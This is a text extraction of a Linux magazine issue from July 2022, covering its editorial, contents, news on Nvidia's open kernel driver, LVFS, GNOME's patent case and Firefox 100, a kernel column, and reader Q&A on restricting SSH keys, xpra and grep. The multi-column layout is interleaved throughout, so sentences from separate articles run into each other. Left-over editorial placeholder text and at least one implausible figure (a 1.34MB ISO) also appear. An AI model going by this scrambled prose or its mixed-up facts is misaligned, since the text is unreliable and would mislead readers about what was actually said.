THE BEST OPEN SOURCE CMS

We test the most powerful website systems for you to run!

Enhance your Pi builds

with essential sensors
The #1 open source mag

Don your black hoodie and discover the most

formidable tools for defending your systems! 2O22
PLUS: HOW TO
Run industrial virtual Build
machines in Portainer your own
Design and create 3D smart home
objects with FreeCAD devices
Emulate the classic
Commodore 16

GET IT PACKED! RUST FILE TOOLS LINUX IN SPACE!

LXF July 2022

Create your own Code your own secure How Tux was launched
open source projects filesystem commands into orbit by SpaceX
 WELCOME

Open source
MEET THE TEAM
This issue’s lead feature reveals the
security
benefits of hacking in the real world, Jonni’s playing with his little bag of
open source hacking tools this
so we wondered what life hacks our issue. It should come as no surprise
contributors like to use… that they’re all open source, with
the collaborative community
development being more a way of
life for the hacking community.
Jonni Bidwell From the heights of the DEF CON
If you’re lucky enough to have a garden, don’t conferences, through to the open
waste time digging up the dandelions on your communities surrounding the big-
lawn! They’re good for the soil and will help name tools like Kali Linux, and to
grass grow. You can eat the flowers and in the general online forums, there’s an
autumn boil up the roots. Nettles and cleavers awful lot of people explaining how
are good in soups, too. Dandy. hacking works and how to use the tools. It’s in stark contrast to the
. murky mainstream media portrayal of the hacking world.
The less-exciting truth is that, for many, the best defence is
Matthew Holder an updated and patched system. As we reported in LXF288,
My life hack is home automation. Whether a Google study demonstrated that open source developers are
being alerted to appliances completing their best placed and experienced at delivering timely security fixes.
cycles, being told what bins need putting out Furthermore, all the big distros – especially the commercially driven
or the kids being able to switch the lights on ones – offer up-to-the-minute patches.
by uttering a magical incantation, I wouldn’t You might not like it, but it’s one thing Microsoft did get right was
be without it! Now to make sure it works reliably 24/7… forcing security updates. Its big failure, however, was offering its
customers an open way to upgrade out of date operating systems,
but then its inability to enable users to upgrade is somewhat
Nick Peers inevitable due to its proprietary nature. Windows 7 (the 12-year old
I mix bokashi bran (widely available from OS) still accounts for 12 per cent of online Windows users. That’s
eco stores and online outlets) with my food more people than those running Windows 11.
waste. Not only does it reduce odours and It’s a blessed relief having access to the latest releases. This
speed up the decomposition process, it is something that open source users don’t have to worry about
means that I can safely compost a wider on the whole, and it’s why every issue we can offer a packed
range of foods, including cooked meats. assortments of tutorials like Portainer, Commodore 16 emulation,
FreeCAD, packaging software and commercial-scale CMS systems.
It’s amazing and it’s secure, so enjoy!
Les Pounder
I use serial consoles a lot, but connecting to
MicroPython REPLs on ESP32s, Raspberry Pi
Picos and a myriad of Arduino serial consoles Neil Mohr Editor
can be a chore. My solution is to use tio [email protected]
(https://github.com/tio/tio), a simple serial
console tool. I just point tio at the port and it just works.

Michael Reed
Spelling numbers is a useful technique to
create a long password that’s easy to Subscribe
remember. “sixfivefourXx” is “reasonably”
strong and easy to type. It’s also easy to pass
& save!
on to another person. The uppercase and
lowercase letters at the end are also easy to remember and
On digital and print
increase the strength of the password. – see p16

www.techradar.com/pro/linux July 2022 LXF290 3

Contents
REVIEWS
SUBSCRIBE NOW!
Page 16

AMD Ryzen 7 5800X3D 19

Dave James contemplates what it means
for a processor that’s supposed to help
games run faster but on Linux has its
strengths with machine learning…

TurnKey Linux 17.0 20

Lethargy and laziness often get the best of
him… <write more words for me here – MS>
but sometimes Mayank Sharma can turn
the tables to his advantage.

Rolling Rhino Remix 21

A rolling Ubuntu release sounds so
outrageous Mayank Sharma had to see
for himself if it really delivers on its word
and isn’t just a gimmick.

SysLinuxOS 11.3 22
Distros that take the kitchen sink approach
don’t really appeal to Mayank Sharma who
enjoys owning a dishwasher… until, of
course, he finds one that does.

Q4OS 4.8 23
Neither a big KDE user nor a fan of
Windows, and yet Mayank Sharma can’t
resist the charm of this KDE distro and
ROUNDUP IN DEPTH
its Windows installer.
Linux in space!
Shattered Pixel Dungeon 25 52
The only certainties in life are death, taxes From a shaky
and middle management, and Neil Mohr start, Linux is
knows which two are the least painful of now blasting off
those to deal with. in the tricky
astronautics
arena. Mike
Bedford takes a
look at its
Full-featured CMS 26 successes and
Michael Reed takes a good look at five what its future
heavyweight professional content could be in a
management systems that are all open galaxy that’s not
source and completely free. far away at all!

4 LXF290 July 2022 www.linuxformat.com

 CONTENTS

Pi USER TUTORIALS

Raspberry Pi news 41 TERMINAL: Presentations 56

Introduced by Tom’s Hardware’s Les Although renowned for making far better
Pounder. A rock-hard Pi competitor excuses than cocktails, Shashank Sharma is
appears, Pi GPUs and Astro Pi projects. quite adept at making presentations and now
can do them from the terminal.
Amiberry 5.0 42
Les Pounder loves the Amiga – he started PORTAINER: Control Docker 58
his career with custom “disk magazines”. Nick Peers discovers a user-friendly,
convenient and powerful way to administer
Pimoroni Servo 2040 43 your Docker containers from wherever you
Learn how to achieve precise motion happen to be.
control from Les Pounder’s tiny package.
EMULATION: Commodore 16 62
Cheap sense and sensor-abilities 44 Les Pounder revisits Commodore’s low-
The ever-frugal Les Pounder reveals two of cost computer from the mid-80s and
the cheapest sensors on the market that finds out how it compares to its more
can bring a pile of data to your Pi project. illustrious stable-mate.

Build your own smart sensors 46

Discover how to install micro controllers
and simple electronics to make our homes
almost as smart as Matt Holder.

Mobile streaming video 50

Sean Conway helps you ride the rails with
a Raspberry Pi and its camera.

CODING ACADEMY PACKAGES: Roll your own projects 68

Installing from existing repos is too easy
Code read/write filesystem tools 92 for Aaron Peters. He builds his own native
Did you wake up wanting to know how to packages DIY-style and you can too with
use file I/O calls to code system tools in his in-depth Debian guide.
Rust? Then Mihalis Tsoukalos can help.
FREECAD: Design 3D models 72
Home Assistant NodeRED devices 96 Make a 3D part in FreeCAD’s Sketcher
NodeRED is a graphical language that’s workbench with Michael Reed, even if
ideally suited to IoT, electronics and home you think an orthographic view is the
automations, reveals Matt Holder. inside of someone’s mouth.

REGULARS AT A GLANCE LXF SERVER: Photoprism 76

In a flurry of paranoia, David Rutland expels
Google Photos from his life and sets up his
News 6 Subscriptions 16 own self-hosted photo storage on the semi-
Nvidia’s open source kernel drivers, Fwupd Get your monthly Linux dose and save cash! official Linux Format VPS.
serves 50 million updates, the Razor Linux
laptop, Gnome wins patent spat, GitLab
moves to AlmaLinux and Firefox hits 100.
Back issues 66
Get hold of previous Linux Format editions.
TOP OF THE FOSS!

Kernel watch 10 Overseas subscriptions 67

Get Linux Format shipped around the globe.
Answers 11
Configuring laptops for running Open HotPicks 85
Broadcaster Software, configuring SSH Mayank Sharma takes the helm of the good
access on a server, X forwarding issues, ship Hotpicks, helping us to navigate the
using scanners and read-only USB. tricky open source waters and uncover
fine software bounty such as CherryTree,
Mailserver 14 Sherlock, Simple Keylogger, Siren, MediaInfo,
Shock at how we get the history of RISC OS Mechvibes, yt-dlp, Eternal Lands, Speed Top of the Pop!_OS 80
so wrong, more shock at us actually crediting Dreams, Snap Backup and ugrep. System76 developer Michael Murphy
Tommy Flowers, shock that 32-bit isn’t shares his Pop!_OS insights with top
widely available any more, shocking stuff! Next month 98 Pop fan Jonni Bidwell.

www.techradar.com/pro/linux July 2022 LXF290 5

Newsdesk
THIS ISSUE: Nvidia drivers LVFS update milestone Razer’s
Linux laptop GNOME patent victory Firefox reaches version 100

DRIVERS

Nvidia moves to open

source kernel drivers
After decades of being lambasted for its refusal to open source its
drivers, Nvidia announces it’ll transition to an MIT licenced version.

F
or over two decades the Linux long term, because the kernel
community has watched from the doesn’t allow two drivers for the
sidelines as Nvidia offered market- same hardware. In a blog post
leading GPU and compute performance, but only (https://bit.ly/lxf290gnome)
through a proprietary driver stack. Yet ever since Christian Schaller outlines how over
AMD moved to an open source driver with much the coming years Mesa (the kernel
success, the pressure has been growing on graphics driver) Nivida and Nouveau
Nvidia to do the same. Finally the company has will have to be designed to work
decided to do the smart thing and transition to together, which will pay dividends all
an open source kernel driver. round. Nouveau can access enhanced features Initially, Nvidia’s support is only for
There have been indications in recent years currently blocked while Nvidia gains day-one Turing and newer GPUs that are
that Nvidia was finally succumbing to pressure kernel update access and more. running in data centres.
and developing open source components. Such A transition like this doesn’t happen over
signs include an Nvidia Tegra driver in early 2022 night. Given the complexity of the subject, the
and being more helpful towards the open soure

NVIDIA’S FIRST FOSS STEPS

Nouveau Nvidia driver project.
New from Nvidia is an out-of-tree kernel driver

“New from Nvidia is an out-of-tree

that so far has only been tested with CUDA and
datacentre GPUs with only basic display

kernel driver that so far has only been

functionality. This makes sense because this is
where the business-end pressure will have been

tested with CUDA and datacentre GPU”

coming from. Red Hat developers have worked
closely with Nvidia to ensure this happens
smoothly. The driver currently only supports
Nvidia Turing and newer GPUs, so anything pre- range of supported GPUs, the critical industries
2018 is currently out, while the userspace and that will use this and more means the
firmware elements will remain proprietary. community is looking at a necessarily lengthy
This means the binary driver will be the one transition period of years. In the short term you
that most users will continue to use, so not only won’t be seeing any real change, but ultimately
for pre-Turing Nvidia GPUs but also for those Nvidia’s decision has the potential to offer a
running more recent cards, until the kernel hugely simplified support process and unified
module is fully tested for desktop display use. day-one kernel support down the line, which is a
Critical to Nvidia’s strategy is what happens to huge step forward. You can read the official
the existing Nouveau open source driver in the Nvidia post here: https://bit.ly/lxf290nvidia.

6 LXF290 July 2022 www.linuxformat.com

 NEWSDESK

SOFTWARE OPINION

LVFS hits 50 million updates BLUETOOTH

The Linux Vendor Firmware Service has now IN PIPEWIRE
delivered a huge 50 million updates for
computers around the world.

R
ichard Hughes, a maintainer of GNOME As for LVFS, Richard is now looking towards
software (among other things) “the next 50 million updates”, and highlights how
highlighted in a blog post that the Linux fast LVFS has been growing since its launch, with Frederic Danis
Vendor Firmware Service (LVFS) has now it now “we regularly ship more than 2m updates is a senior software engineer
delivered a remarkable 50 million updates. LVFS a month.” A large part of this growth, according at Collabora
(https://fwupd.org) is a secure portal for to Richard, is thanks to Google. “The tech giant
uploading and distributing firmware updates. has been an amazing partner in encouraging
As Richard explains in his blog (https://bit.ly/ vendors to ship updates on the LVFS and Over the past two
lxf290gnomeblog), “Just seven years ago shipping fwupd in ChromeOS.” years, Bluetooth audio
Christian [Schaller, director for Desktop, Richard also hints at “super” secret things support has steadily grown
Graphics and Infotainment at Red Hat] asked me coming, while also promising to “push the in PipeWire and has become
to ‘make firmware updates work on Linux’ and ecosystem towards transparency, open source a featureful, stable,
we have a thriving client project that respects and respecting the user’s privacy.” Thanks to the conformant, open source
both your freedom and your privacy, and a LVFS portal, using Linux on a range of devices is Bluetooth audio stack
thriving ecosystem of hardware vendors who easier and more user-friendly than ever. implementation.
consider Linux users first-class citizens.” Testimony to that is the
Richard’s blog post also fact that Bluetooth A2DP
celebrated the release of audio has now been
fwupd 1.8.0. This is an open- qualified on the Steam
source daemon that’s used Deck using PipeWire and
for installing firmware WirePlumber. This means
updates. It’s well worth that it’s now able to pass the
checking out the release conformance test suite from
notes at https://bit.ly/ the Bluetooth SIG and will
lxf290fwupd for a full rundown of what’s new in LVFS is a portal that enables hardware manufacturers to work against other qualified
the latest version of the daemon. securely upload firmware for their products. implementations.
Of course, development
doesn’t stop here. There are
LAPTOPS still several things to fix and
new features to support as
the industry moves forward.

Razer releases stylish Linux laptop One particular feature that

we’re looking at next is the
addition of the LC3 codec.
Collaboration between the high-end laptop company LC3 is the successor of
SBC for use in the LE (low
and Lambda is powerful… and expensive. energy) audio profile, a new
profile that was added in

R
azer is known for its powerful laptops comes with Lambda software, such as PyTorch Bluetooth 5.2. This profile is
aimed at gamers and creatives. One and TensorFlow, and Ubuntu 20.04 is preinstalled. meant to improve battery
of its latest laptops, the Tensorbook, The device isn’t cheap: prices start at $3,500 life, enable audio
combines Razer’s trademark style and power, (around £3,000), and if you want to pay extra to broadcasting to multiple
and comes with Linux preinstalled. dual-boot Ubuntu and Windows then the cost devices and also support
The specs are certainly impressive, with an rises to $4,999 (around £4,000). hearing aids.
Intel Core i7-11800 CPU, Nvidia GeForce RTX It’s certainly a stylish-looking laptop, but as Supporting this new
3080 Max-Q graphics card, 64GB of DDR4 Tom’s Hardware points out (https://bit.ly/ profile requires work
RAM and 2TB SSD storage, along with a 1440p lxf290tomshardware), Razer sells similar- underneath PipeWire,
resolution screen with a 165Hz refresh rate. If specced laptops for less. If you’re looking for a in BlueZ, but until that’s
those look like the kind of specs you’d usually laptop that runs Linux, while also offering ready we can also use LC3
see in a gaming laptop then you’d be right. incredibly powerful components for machine- on the A2DP profile and be
However, rather than gaming, this is designed learning tasks, then you can check out the prepared for LE Audio when
for machine-learning tasks – something the Tensorbook from Lambda’s own website at the rest of the stack
RTX 3080 GPU does particularly well. It also https://bit.ly/lxf290tensorbook. is ready to support it.

www.techradar.com/pro/linux July 2022 LXF290 7

NEWSDESK

OPINION PATENTS

GOING FOR GNOME patent troll is

GOLD! finally stomped on
Rothschild Patent Imaging (RPI)
GNOME was targeted by a patent
forced to give up its patent rights. troll over its Shotwell software.

A
fter years of pursuing a predatory twist, with patent lawyer McCoy Smith, the
Keith Edmunds patent lawsuit against GNOME’s founder of LexPan Law (www.lexpan.law) filing a
is MD of Tiger Computing Ltd, Shotwell software, the US patent office re-examining proceeding against RPI’s patent,
which provides support for has moved to strip Rothschild Patent Imaging where he pointed out that the patent was not for
businesses using Linux. (RPI) of its patent rights. In 2019, RPI went after a new invention (which often happens with
GNOME, claiming its software infringed on its patent trolling). The US Patent Office agreed
Patent No. 9,936.086. with McCoy’s argument, so any claims against
A would-be client put Despite the valiant efforts of the open-source the patent have been cancelled and it can no
in a request: “Can you give community, which helped raise $150,000 to help longer be used for future claims.
us a gold disk so that we can defend the project against the claim, in the end The success in targeting the patent directly is
create more servers?” Now I the GNOME Foundation settled with RPI. This certainly encouraging. The expectation is that
needed to tell them that, was a disappointing development, especially for future patent trolls will be put off from targeting
unfortunately, they’re asking people who feared that it could encourage other open source projects, especially after RPI’s initial
the wrong question. patent trolls, but there’s been an encouraging success against GNOME.
In case you’re unaware, a
“gold disk” was a CD image
that was used to create
multiple, very similar
systems. This approach had
SERVICES WEB BROWSERS
numerous disadvantages:
the software versions were
baked into the CD; changes
to the configuration meant
GitLab moves Firefox hits 100
creating a new CD; and
so on.
Surely there’s a better
to AlmaLinux Mozilla celebrates version
100.0 of its famed browser.
way? As it happens, yes Development comes after
M
there is. Far more flexible, ozilla recently celebrated the 100th
far more powerful these
CentOS 8 enters End of Life. version of its open-source web browser,
days is a configuration Firefox. After 17 years, Firefox remains

R
management system. I’ve ed Hat’s controversial decision to End one of the most popular browsers, despite
mentioned them before, but of Life (EOL) CentOS 8 in December Google Chrome’s dominance, and as the Firefox
if you have more than one 2021, in favour of CentOS Stream (see team state in a blog post celebrating the release
Linux server then you LXF274) continues to have ramifications, with (which you can read at https://mzl.la/3kWIxID),
should be using something GitLab (https://about.gitlab.com) the latest that using its web browser “contributes directly
like Puppet, Ansible or Salt high-profile project to switch to an alternative. to a better web, keeping it open and accessible
to manage them. In a blog post (https://bit.ly/lxf290gitlab to all.” Firefox 100.0 brings an improved Picture-
So why was the request move), it’s been confirmed that the platform for in-Picture mode, with wide support for video
for a gold disk the wrong software development and delivery has moved captions, better spell checking and installation
question? Because instead to AlmaLinux (https://almalinux.org/). DJ process. This new version looks to be great for
of asking for help to solve Mountney, engineering manager, Distribution media, with HDR video support on Mac, and
a problem, it’s asking for Build at GitLab, explains. “With CentOS going hardware-accelerated AV1 video decoding.
help to implement a poor, EOL, we needed to choose a build platform to
pre-determined solution to replace our Centos8 build machines,” going on
the problem. to say that “We needed a ‘boring’ solution, and
Each time you think, AlmaLinux was asked for by our users.”
“Surely there’s a better While we’re unsure how happy the AlmaLinux
way?”, then take a deep team will be with the software being labelled
breath, sit back and relax. ‘boring’, this shows just how unpopular Red Hat’s Firefox has hit version
It’s 99 per cent certain that move has been. “AlmaLinux is very excited to 100, and brings some
there is. This is, after be the stage to GitLab’s rockstar,” said Jack decent media-playing
all, Linux. Aboutboul, community manager for AlmaLinux. features with it.

8 LXF290 July 2022 www.linuxformat.com

 NEWSDESK

Distro watch
OPINION

PLAN FOR
What’s down the side of the free software sofa? THE FUTURE
FEDORA 36
Fedora 36 is now available to download, which comes
with GNOME 42, and now most applications have been
ported to GTK 4. It also includes Ansible 5, which the
release announcement (https://bit.ly/lxf290fedora)
claims will make “maintenance easier and allows you to Matt Yonkovit
download only the collections you need.” Fedora Server is the head of open source
has also been updated, and the Cockpit tool now offers strategy at Percona
a module for administering NFS and Samba shares,
making it easier to share files over a network. Fedora is a hugely popular distro, and
version 36 has now been released. What were the leading
technologies of 2002? Linux
was only 11 years old, the
PROXMOX VE 7.2 cloud was in its infancy, and
A new version of this Debain-based distro has been iPhone and Android would
released as a ‘Virtual Environment’, and comes with an Proxmox VE 7.2 brings numerous updates not exist for another five
updated kernel (to 5.15.30) and ZFS support. It’s now to the virtualisation platform. years. While some of the
based on Debian 11.3 and features various package developments we have today
upgrades. This open-source virtualisation project makes might have been predictable,
it possible for you to run virtual appliances and virtual there are others we could not
machines, and you can find out more about the distro at know. Twitter, for example.
https://bit.ly/lxf290proxmox. So how can we look 20
years into the future and see
what the world of open source
and data will look like?
We have to look at which
platforms will continue to
TAILS 5.0 grow. PostgreSQL has a
Tails, the popular Debian-based live DVD/USB distro strong argument to be that
which aims to offer complete anonymity when using the platform. It isn’t beholden to
internet, has a new version that’s available to download. any one vendor that supports
It’s the first version to be based on Debian 11, and how it develops, which should
various tools have been updated. Furthermore, new ensure longevity. And it’s used
OpenPGP tools have been included – including within multiple companies’
Kleopatra, which replaces the OpenPGP Applet. For a The Amnesic Incognito Live System offerings and products too,
full rundown of the new version, check out the release (better known as Tails) makes it possible which should keep the
announcement at https://bit.ly/lxf290tails. for you to browse the internet in developer base interested too.
complete anonymity. Why should this matter to
us? The role of data in
businesses is only going to
grow. Social media and online
businesses use the data we
EXTIX 22.5 create to build their products.
ExTiX 22.5 is available to download, and is now based Open source is critical in how
on Ubuntu 22.04. As usual, the ISO image is all those systems will be put
impressively small – just 1.34MB, which enables it to together, as well as ensuring
run from your PC’s RAM for incredibly fast performance. that the voice of the user gets
If you want to create your own live installable Ubuntu heard in that process. Picking
22.04 system, you can do it using Refracta Snapshot in the right platform for this, like
a process the team claims is “so easy that a 10-year old So easy a 10-year old can use it, is a saying PostgreSQL, can help.
child can do it.” We’re not too sure about that, but you you don’t often attach to Linux tools. PostgreSQL can be the
can find out more at https://bit.ly/lxf290extix. database development
interface of choice for the
next 20 years, if we make it
more accessible, and
listen to users.

www.techradar.com/pro/linux July 2022 LXF290 9

NEWSDESK

KERNEL WATCH
OPINION

OPEN
NVIDIA
Jon Masters summarises the latest happenings in
the Linux kernel, because someone has to…

L
inus Torvalds announced that the used to require loading a huge binary blob into
5.18 kernel, still under development the kernel, wrapped with a small shim to
at the time of writing with Release massage the interface between the two. Getting
Jon Masters has been involved Candidate (RC) 6 being out for testing, “out of the box” support was challenging to
with Linux for more than 22 years. “seems to be quite well-behaved” and was on impossible, depending upon the Linux distro.
track for release. He noted that 5.18 was on Things began to improve slightly a decade
Rather surprisingly I can track to be “one of the larger releases in ago with the release of the “Nouveau” drivers,
happily write about the numbers of commits”, coming close to the which are in upstream Linux today. This is a
release of an actual open source size of 5.14. While he was still “expecting the clean room, reverse-engineering effort of the
graphics driver released by other shoe to drop”, it seemed likely the final proprietary drivers done by the community.
Nvidia. This has been a long time release was not far away. We’ll have a full To that end, it’s amazing how far the “out of
coming. I don’t expect to say this summary of the new shiny 5.18 kernel the box” experience has come from a graphics
often (I’d love to be proven features in the next issue. point of view. It’s possible today to buy a system
wrong), but kudos to Nvidia for Nvidia opens up its graphics drivers... a with an Nvidia GPU and actually have Linux
the engagement with open
little. Rare is the historical occasion in which distros boot on it without having to jump
source. That said, it’s not as
“open source” and “Nvidia” have been used through too many hoops. All of that is thanks to
“open” you might assume, but
it’s still a dramatic improvement positively in a sentence together. For many Nouveau. But for all that positive news, there
upon where we were. years, Nvidia has faced the ire of kernel remained no means to drive Nvidia’s CUDA
When you think about it, it’s developers (famously including Linus GPGPU stack, nor achieve certain functionality,
less surprising that Nvidia would Torvalds and a certain finger) because of its without installing the proprietary driver.
do this now. It’s finally getting lack of interest in working with the open And this is how it seemed things would
more competition (from Intel, source community. It was, then, shocking to remain. Until in May Nvidia announced an “open
which know how to do open see an announcement come out of the blue source” driver... sort of. The reason for using
source graphics drivers), the that Nvidia is opening up its drivers. quotes is that, while the driver is actually open
“crypto” market is tanking, and
Nvidia GPUs, of course, are dominant source (and even under a suitably compatible
there are emerging opportunities
among gamers, enthusiasts and datacentre licence), it appears simply to remove much of
in edge and HPC that would be
much better served by providing consumers alike. They have singularly fuelled the proprietary blob out of the kernel and into
open source drivers for users. much of the growth in high-end gaming, firmware. The kernel thus makes calls that are
Those deploying large machine learning, and even “crypto” mining still wrapped, but in a slightly different manner.
HPC clusters are likely to be over the past decades. But for nearly all of While this isn’t to everyone’s taste, it’s still
unimpressed by needing to also that time, using an Nvidia GPU has come with tremendous progress. There may yet come a
deploy a giant proprietary binary a certain amount of pain. The Linux drivers day in which official upstream drivers are
blob into their kernels. offered by the company aren’t upstream, and supported by Nvidia.
I must confess to only having
used the proprietary Nvidia
driver on very rare occasions,
mostly on principle. In fact, this
ONGOING DEVELOPMENT
kept me from buying its
hardware for a long time, and Preparations for the upcoming Linux Kirill A Shutemov (senior Linux software
consequently meant that I didn’t Plumbers Conference (LPC) continues. engineer at Intel) posted updated patches
play with technologies like CUDA This year’s conference returns once again to implement support for “unaccepted”
until they were already quite to having an in-person (hybrid) component memory. These are part of many different
mature. I would be quite and will take place in Dublin on 12-14 patch series in aid of enabling confidential
surprised if there are people who September. Among the sessions being computing technologies such as Intel TDX
haven’t felt a need to ultimately
prepared is a miniconference dedicated to and AMD SEV-SNP.
touch those proprietary drivers,
RISC-V, which Atish Patra announced. Confidential computing protects virtual
such is their reach, but this move
could even drive sales.
A lengthy thread took place on the subject machine instances from being analysed by a
Perhaps this is also a reminder of debugging VirtualBox with the 5.18-rc1 (malicious) hypervisor. Enabling it requires
of the value served in staying kernel. While the original bug reporter that memory by specifically “accepted”
strong and sticking to core was likely incorrect in their analysis or by a virtual machine and handed off to it,
principles. The community assumptions, it was an interesting read. but this can be costly. Kirill’s solution was
pushes back for years, and Search for “Changes in kernel 5.18-rc1 leads to add support for late binding this process
adding GPL_ONLY kernel to crashes in VirtualBox”. in his patches.
symbols may have made
the ultimate difference.

10 LXF290 July 2022 www.linuxformat.com

 Answers
Got a burning question about open source or the kernel?
Neil
Bothwick
tweaks your
troublesome
Tux to make it
Whatever your level, email it to [email protected] tick smoothly

Q MIN RAM & CPU 4 OBS

I need to prepare a number of
of laptops to try to figure out which
stutters, and I can’t just blow the budget
Make sure that any laptops you
consider have removable memory, so that
(identical) laptops for use in seminars. and buy the best. Do you have any it can be updated later if you need to. Some
They’ll be equipped with a webcam, guidance on minimum requirements, slimline laptops have the memory soldered
a USB microphone, and an external especially for processor and memory? to the main board and can’t be upgraded.
monitor with speakers. The setup will Hendrik Ideally, a laptop with a free memory slot, so
be used to record role play exercises you can upgrade by adding another stick
and play them back to the participants.
Software would be OBS and VLC, on a
A This is one of those “how long is
a piece of string” questions. As it
without having to throw away your existing
RAM, would be best,
system running Fedora (mainly because happens, I was at a presentation on using One way to get a good idea of what’s
I use it every day and thus know it). OBS at a LUG meeting only two days ago, needed is to set everything up on a virtual
Now, how much hardware is needed? so I emailed the presenter for his advice. machine, using something like Qemu or
We can’t miss out on sound bits or get OBS itself isn’t particularly demanding – VirtualBox. Then you can experiment with
frame rate of one per second only, so it’s the streaming video and audio that the amount of memory and the number
sound 48k, 30fps at 1080 video stream. matter. Anything short of a bargain- of CPU cores (the actual CPU speed
But I can’t go out and buy a number basement laptop should have a CPU able is locked to the host’s real CPU). Once
to handle the demands you’ve identified the lower limits, you can
you put on it, unless add a reasonable safety margin to get the
you’re considering ideal minimum spec. Bear in mind that
real-time mixing or operating systems and software tend
transcoding of video to become more demanding with each
streams. You’ll also need upgrade, so make sure you have enough
fast enough storage. A leeway to cope with future demands.
decent internal SSD
device is more than
enough for this, but avoid
Q Restricted SSH
If have two servers that I want to
using external USB be able to run commands on over SSH
storage as you want your without entering a password. I believe
USB bandwidth available it’s possible to set up SSH without a
for the video and sound password, but I would rather not give
inputs. The most unrestricted access to my servers.
important resource is Can I restrict SSH sessions to just
memory, which is true for the command I want to use?
As with any video-processing software, OBS benefits from plenty of RAM. so many applications. Sam Wallis

A QUICK REFERENCE TO… APPIMAGE

Generally, installing software on Linux software as AppImages. This is a single only one file to download. You do it as a
is easy. You open your distro’s package file that contains not only the compiled normal user without any need for root
manager, find the package you want application, but all of its dependencies permissions, and updating is as simple
and hit the Install button. The package too. You don’t even have to unpack the as downloading a new AppImage.
manager sorts out any dependencies or file, just set the executable bit and run it: If all this is still too much work for
conflicts associated with the package. $ chmod +x neatprogram.AppImage you, check out AppImage Launcher
However, what happens when the $ ./neatprogram.AppImage (https://github.com/TheAssassin/
software you want isn’t in your distro’s The catch is you end up with extra AppImageLauncher). This is a GUI
repository? You then have to download copies of libraries inside the AppImage that adds AppImage software to your
the source, install the dependencies and that you probably already have on your desktop menu, removing the need for
compile from scratch – and after all that system, and program startup is slower as any terminal work. And if AppImage
you have to keep up with updates. the AppImage has to be mounted – the Launcher isn’t available for your distro
The good news is that an increasing AppImage file contains a compressed then it’s not a problem – just download
number of projects are releasing their filesystem. On the plus side, there’s it as an AppImage!

www.techradar.com/pro/linux July 2022 LXF290 11

ANSWERS

A You can allow passwordless logins

over SSH by using keys. The first
sessions persistent – similar to terminal
sessions with screen or tmux? I know
$ xpra start-desktop --start-child=fluxbox
ssh://user:password@hostname/
step is to generate SSH keys on the client about remote desktop software, but I just $ xpra shadow ssh://user:password@
machine (if you’ve not already done so) want to run a single application remotely. hostname/
with this command: Ryan Barnett The first opens a new desktop session,
$ ssh-keygen -t ed25519 the second shadows the existing desktop.
When prompted for a passphrase, just
press Enter. We’ve used the ed25519 key
A X forwarding is slower these days.
This is how GUI toolkits work in a
Giving your login credentials on the
command line is a bad idea, because
type here. The man page details the other way that’s effective when the X server and it means any use on the system can
options, but this is a good one to use. client are the same machine, but it’s view them with ps. Because xpra uses
You’ve generated a two-part key in ~/.ssh, horrendously laggy when making round standard SSH protocols, setting up key
now you need to copy the public part of trips over the network – even a fast authentication for SSH means it’ll also
this to the server, where it’s stored in the Ethernet connection. One solution to both be used for xpra and you can omit the
~/.ssh/authorized_keys file. You could edit of your problems is a program called xpra password. If the username is the same on
the file manually, but there is a command (https://xpra.org). Install this on both both systems, you can drop that too.
to do this for you. On the client, run: computers (it should be in most distros’
$ ssh-copy-id -i ~/.ssh/id_ed25519.pub
user@server
repositories), than start up a program from
the local computer:
Q Don’t cross the streams
This is the output of the nut-
It’ll ask for that user’s password on $ xpra start ssh://user:password@ scanner -U command:
the server and then copy the file. Repeat hostname/ --start=someprogram # nut-scanner -U
the copy process for each of the servers. This should open the program from the SNMP library not found. SNMP search
This gives passwordless access to your remote machine on your local desktop, disabled.
servers. It isn’t unrestricted. Only your user and run a lot faster than when using Neon library not found. XML search
on your client machine can gain access, X forwarding. You can also detach the disabled.
and only as the remote user to which the connection while leaving the program IPMI library not found. IPMI search
ID was copied, but that user can then run running on the remote system with disabled.
any command. You can set an SSH key to $ xpra detach ssh://user:password@ Scanning USB bus.
only be used for a single command in the hostname/ [nutdev1]
authorized_keys file by adding: Then you can reconnect, possibly from driver = “usbhid-ups”
command=”/path/to/command” to the a different computer, with: port = “auto”
start of the line giving the key, so it looks $ xpra attach ssh://user:password@ vendorid = “051D”
something like: hostname/ productid = “0002”
command="/path/to/command” ssh- If you have more than one session product = “Back-UPS ES 850G2 FW:938.
ed25519 AAA..... user@hostname running on the remote computer, how a2 .I USB FW:a2”
Now, when that user connects via SSH, does it know which one to attach to? The serial = “5B2104T78602”
the specified command is run immediately, answers is, it doesn’t. This command only vendor = “American Power Conversion”
and commands given on the SSH works if there’s one session, otherwise, use bus = “002”
command line are ignored. While mainly a xpra list to see the available sessions and I want to show only the “driver” line
security measure, this is also a convenient then specify the one you want. Full details (so I can later put it in a variable), so I run
way of setting up short aliases to complex are in the man page and on the web site. nut-scanner -U | grep driver . And this is
commands by setting a Host entry ~/.ssh/ You said that you only wanted the result.
config that says to use the SSH key that’s forwarding of individual applications, not # nut-scanner -U | grep driver
locked to the command you want. the desktop, but it’s worth knowing that SNMP library not found. SNMP search
For further security, you can disable all xpra can do that too, so no need for a disabled.
other SSH logins by that user, even with a separate program or server. You can do this Neon library not found. XML search
password. Edit /etc/ssh/sshd_config on in one of two ways: disabled.
the remote machine to set:
Match User username
PasswordAuthentication no

Q SluggiSSH forwarding
I occasionally use X forwarding
over SSH to run remote graphical
programs on the local display, like this:
$ ssh -Y user@hostname someprogram
The graphics seem to update more
slowly these days. I spend too much
time waiting for displays to redraw. I also
have a problem sometimes when the
connection drops or I close my laptop’s
lid, forgetting that this suspends it. This
causes the remote program to terminate,
losing any work I’ve done.
Is there a way to speed up X
forwarding, and is there a way to make Xpra runs remote programs on X without the delays that often afflict X forwarding.

12 LXF290 July 2022 www.linuxformat.com

 ANSWERS

IPMI library not found. IPMI search

disabled.
driver = “usbhid-ups”
Obviously I don’t need the first three
lines, but grep still doesn’t filter them
out. Is there a way to tell grep to wait for
the command to finish before filtering, so
I can only get the line that interests me?
( driver = “usbhid-ups" ).
Ava O’Donnell

A This isn’t about whether the

command finishes. Grep will
continue to scan its input and terminate
when the input ends. What you’re seeing in
the first three lines is information sent to
the standard error (stderr) stream. The
